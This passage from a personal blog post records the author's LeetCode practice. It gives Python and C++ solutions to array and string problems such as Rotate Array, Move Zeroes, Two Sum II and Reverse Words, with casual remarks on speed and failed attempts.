</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> abs(nums[left]) <span style="color:#f92672">&lt;</span> abs(nums[right]):
</span></span><span style="display:flex;"><span>                answer<span style="color:#f92672">.</span>append(nums[left]<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>                left <span style="color:#f92672">-=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                answer<span style="color:#f92672">.</span>append(nums[right]<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>                right <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> left <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> <span style="color:#f92672">and</span> right <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">==</span> len(nums):
</span></span><span style="display:flex;"><span>                answer<span style="color:#f92672">.</span>append(nums[right]<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> right <span style="color:#f92672">==</span> len(nums) <span style="color:#f92672">and</span> left <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>                answer<span style="color:#f92672">.</span>append(nums[left]<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]     
</span></span></code></pre></div><p>Another one, ran faster while taking 2KB more space:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">sortedSquares</span>(self, nums: List[int]) <span style="color:#f92672">-&gt;</span> List[int]:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> sorted([i<span style="color:#f92672">*</span>i <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> nums])
</span></span></code></pre></div><p>WHY???</p>
<p>Here&rsquo;s my first C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> sortedSquares(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Get index of first positive number
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">int</span> firstPositiveNumber <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (firstPositiveNumber <span style="color:#f92672">&lt;</span> nums.size() <span style="color:#f92672">&amp;&amp;</span> nums.at(firstPositiveNumber) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) <span style="color:#f92672">++</span>firstPositiveNumber;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> negative <span style="color:#f92672">=</span> firstPositiveNumber <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>, positive <span style="color:#f92672">=</span> firstPositiveNumber;
</span></span><span style="display:flex;"><span>        vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> answer;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (negative <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> positive <span style="color:#f92672">&lt;</span> nums.size()) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (nums.at(negative) <span style="color:#f92672">*</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;</span> nums.at(positive)) {
</span></span><span style="display:flex;"><span>                answer.push_back(nums.at(negative) <span style="color:#f92672">*</span> nums.at(negative));
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">--</span>negative;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                answer.push_back(nums.at(positive) <span style="color:#f92672">*</span> nums.at(positive));
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">++</span>positive;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (negative <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>            answer.push_back(nums.at(negative) <span style="color:#f92672">*</span> nums.at(negative));
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">--</span>negative;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (positive <span style="color:#f92672">&lt;</span> nums.size()) {
</span></span><span style="display:flex;"><span>            answer.push_back(nums.at(positive) <span style="color:#f92672">*</span> nums.at(positive));
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">++</span>positive;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Another C++ one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> sortedSquares(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> left <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, right <span style="color:#f92672">=</span> nums.size() <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>        vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> answer(nums.size(), <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> nums.size() <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>; i <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span>; <span style="color:#f92672">--</span>i) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (abs(nums[left]) <span style="color:#f92672">&lt;</span> abs(nums[right])) {
</span></span><span style="display:flex;"><span>                answer.at(i) <span style="color:#f92672">=</span> nums[right] <span style="color:#f92672">*</span> nums[right];
</span></span><span style="display:flex;"><span>                right <span style="color:#f92672">-=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                answer[i] <span style="color:#f92672">=</span> nums[left] <span style="color:#f92672">*</span> nums[left];
</span></span><span style="display:flex;"><span>                left <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>And another one, far more superior:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> sortedSquares(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums) {
</span></span><span style="display:flex;"><span>        transform(nums.begin(), nums.end(), nums.begin(), [](<span style="color:#66d9ef">int</span> f){<span style="color:#66d9ef">return</span> f<span style="color:#f92672">*</span>f;});
</span></span><span style="display:flex;"><span>        sort(nums.begin(), nums.end());
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> nums;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>At this rate, I&rsquo;ve eventually given up haphazardly trust big O notation. ;-;</p>
<h2 id="day-2-189-rotate-array">Day 2: <a href="https://leetcode.com/problems/rotate-array/">189. Rotate Array</a></h2>
<p>
  <img src="/img/myleetcodejourney/189_problem.png#center" alt="">

</p>
<p>Accepted Python solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rotate</span>(self, nums: List[int], k: int) <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        Do not return anything, modify nums in-place instead.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        nums[:] <span style="color:#f92672">=</span> nums[<span style="color:#f92672">-</span>k <span style="color:#f92672">%</span> len(nums):] <span style="color:#f92672">+</span> nums[:<span style="color:#f92672">-</span>k <span style="color:#f92672">%</span> len(nums)]
</span></span></code></pre></div><p>Accepted C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> rotate(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums, <span style="color:#66d9ef">int</span> k) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// reverse method
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        k <span style="color:#f92672">%=</span> nums.size();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        reverse(nums.begin(), nums.end());
</span></span><span style="display:flex;"><span>        reverse(nums.begin(), nums.begin() <span style="color:#f92672">+</span> k);
</span></span><span style="display:flex;"><span>        reverse(nums.begin() <span style="color:#f92672">+</span> k, nums.end());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>It was the moment writing this article that I realized - I was supposed to use 2 pointers method! Guess let&rsquo;s just save that for later then. :D</p>
<h2 id="day-3-283-move-zeroes">Day 3: <a href="https://leetcode.com/problems/move-zeroes/">283. Move Zeroes</a></h2>
<p>
  <img src="/img/myleetcodejourney/283_problem.png#center" alt="">

</p>
<p>Here are 2 different solutions, written in Python:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">moveZeroes</span>(self, nums: List[int]) <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        Do not return anything, modify nums in-place instead.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        lastNonZeroIndex: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> nums:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> i:
</span></span><span style="display:flex;"><span>                nums[lastNonZeroIndex] <span style="color:#f92672">=</span> i
</span></span><span style="display:flex;"><span>                lastNonZeroIndex <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(lastNonZeroIndex, len(nums)):
</span></span><span style="display:flex;"><span>            nums[i] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">moveZeroes</span>(self, nums: List[int]) <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        Do not return anything, modify nums in-place instead.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        lastNonZeroIndex: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(nums)):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> nums[i]:
</span></span><span style="display:flex;"><span>                nums[lastNonZeroIndex], nums[i] <span style="color:#f92672">=</span> nums[i], nums[lastNonZeroIndex]
</span></span><span style="display:flex;"><span>                lastNonZeroIndex <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>They are both O(n) in terms of time complexity, and O(1) in space complexity, so there&rsquo;s not much comparison though.</p>
<p>C++ implementation for the second solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> moveZeroes(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> lastNonZeroIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> nums.size(); <span style="color:#f92672">++</span>i) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (nums[i])
</span></span><span style="display:flex;"><span>                swap(nums[lastNonZeroIndex<span style="color:#f92672">++</span>], nums[i]);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><h2 id="day-3-167-two-sum-ii---input-array-is-sorted">Day 3: <a href="https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/">167. Two Sum II - Input Array is Sorted</a></h2>
<p>
  <img src="/img/myleetcodejourney/167_problem.png#center" alt="">

</p>
<p>This bruteforce solution got <code>Time Limit Exceeded</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> twoSum(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> numbers, <span style="color:#66d9ef">int</span> target) {
</span></span><span style="display:flex;"><span>        vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> ans;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;</span> numbers.size(); <span style="color:#f92672">++</span>i) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">int</span> left <span style="color:#f92672">=</span> i, right <span style="color:#f92672">=</span> numbers.size() <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">while</span> (left <span style="color:#f92672">&lt;</span> right <span style="color:#f92672">&amp;&amp;</span>\
</span></span><span style="display:flex;"><span>                   numbers.at(left) <span style="color:#f92672">+</span> numbers.at(right) <span style="color:#f92672">&gt;=</span> target) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (numbers.at(left) <span style="color:#f92672">+</span> numbers.at(right) <span style="color:#f92672">==</span> target) {
</span></span><span style="display:flex;"><span>                    ans.insert(ans.end(), {left <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, right <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>});
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> ans;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">--</span>right;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> ans;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Accepted C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> twoSum(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> numbers, <span style="color:#66d9ef">int</span> target) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> left <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, right <span style="color:#f92672">=</span> numbers.size() <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>        vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> ans;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (left <span style="color:#f92672">&lt;</span> right) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">int</span> currentSum <span style="color:#f92672">=</span> numbers.at(left) <span style="color:#f92672">+</span> numbers.at(right);
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (currentSum <span style="color:#f92672">==</span> target) {
</span></span><span style="display:flex;"><span>                ans.insert(ans.end(), {left <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, right <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>});
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">if</span> (currentSum <span style="color:#f92672">&gt;</span> target) {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">--</span>right;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">++</span>left;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> ans;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Python line-to-line convertion of that exact piece of code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">twoSum</span>(self, numbers: List[int], target: int) <span style="color:#f92672">-&gt;</span> List[int]:
</span></span><span style="display:flex;"><span>        left, right <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, len(numbers) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        answer: List[int] <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> left <span style="color:#f92672">&lt;</span> right:
</span></span><span style="display:flex;"><span>            currentSum: int <span style="color:#f92672">=</span> numbers[left] <span style="color:#f92672">+</span> numbers[right]
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> currentSum <span style="color:#f92672">==</span> target:
</span></span><span style="display:flex;"><span>                answer<span style="color:#f92672">.</span>extend([left <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, right <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>])
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">elif</span> currentSum <span style="color:#f92672">&gt;</span> target:
</span></span><span style="display:flex;"><span>                right <span style="color:#f92672">-=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                left <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer
</span></span></code></pre></div><h2 id="day-4-344-reverse-string">Day 4: <a href="https://leetcode.com/problems/reverse-string/">344. Reverse String</a></h2>
<p>
  <img src="/img/myleetcodejourney/344_problem.png#center" alt="">

</p>
<p>Nothing much, just swap them in-place, and there&rsquo;re built-in functions for that. Here&rsquo;s C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> reverseString(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">char</span><span style="color:#f92672">&gt;&amp;</span> s) {
</span></span><span style="display:flex;"><span>        reverse(s.begin(), s.end());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>And Python implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">reverseString</span>(self, s: List[str]) <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        Do not return anything, modify s in-place instead.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        s<span style="color:#f92672">.</span>reverse()
</span></span></code></pre></div><h2 id="day-4-557-reverse-words-in-a-string-iii">Day 4: <a href="https://leetcode.com/problems/reverse-words-in-a-string-iii/">557. Reverse Words in a String III</a></h2>
<p>
  <img src="/img/myleetcodejourney/557_problem.png#center" alt="">

</p>
<p>Still nothing much. Let&rsquo;s just split it out and reverse it.</p>
<p>C++ accepted solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    string reverseWords(string s) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> lastChar <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        string answer <span style="color:#f92672">=</span> s <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; &#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> wordcount <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; wordcount <span style="color:#f92672">&lt;</span> answer.size(); <span style="color:#f92672">++</span>wordcount) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (answer[wordcount] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39; &#39;</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">int</span> left <span style="color:#f92672">=</span> lastChar, right <span style="color:#f92672">=</span> wordcount;
</span></span><span style="display:flex;"><span>                lastChar <span style="color:#f92672">=</span> wordcount <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>                reverse(answer.begin() <span style="color:#f92672">+</span> left, answer.begin() <span style="color:#f92672">+</span> right);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        answer.pop_back();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Accepted Python solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">reverseWords</span>(self, s: str) <span style="color:#f92672">-&gt;</span> str:
